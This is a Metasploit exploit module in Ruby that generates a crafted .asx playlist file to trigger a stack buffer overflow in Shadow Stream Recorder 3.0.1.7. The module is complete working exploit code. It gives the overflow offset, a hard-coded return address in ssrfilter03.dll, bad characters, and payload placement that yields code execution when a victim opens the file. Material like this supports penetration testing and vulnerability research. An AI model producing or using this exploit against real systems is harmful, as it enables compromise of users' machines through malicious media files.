##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'Shadow Stream Recorder 3.0.1.7 Buffer Overflow',
      'Description'     => %q{
        This module exploits a buffer overflow in Shadow Stream Recorder 3.0.1.7.
        Using the application to open a specially crafted asx file, a buffer
        overflow may occur to allow arbitrary code execution under the context
        of the user.
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'AlpHaNiX <alpha[at]hacker.bz>',  # Original .m3u exploit
          'b0telh0 <me[at]gotgeek.com.br>'  # MSF Module and .asx exploit
        ],
      'References'      =>
        [
          [ 'BID', '34864' ],
          [ 'EDB', '11957' ]
        ],
      'DefaultOptions'  =>
        {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => 'true'
        },
      'Platform'        => 'win',
      'Payload'         =>
        {
          'Space' => 2000,
          'BadChars' => "\x00\x09\x0a",
          'StackAdjustment' => -3500
        },
      'Targets'         =>
        [
          [ 'Windows Universal',
            {
              # push esp - ret ssrfilter03.dll
              'Ret' => 0x10035706,
              'Offset' => 26117
            }
          ],
        ],
      'Privileged'      => false,
      'DisclosureDate'  => 'Mar 29 2010',
      'DefaultTarget'   => 0))

    register_options(
      [
        OptString.new('FILENAME', [true, 'The file name.', 'msf.asx'])
      ], self.class)

  end

  def exploit

    buffer = "http://"
    buffer << rand_text_alpha_upper(target['Offset'])
    buffer << [target.ret].pack('V')
    buffer << make_nops(40)
    buffer << payload.encoded

    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(buffer)
  end

end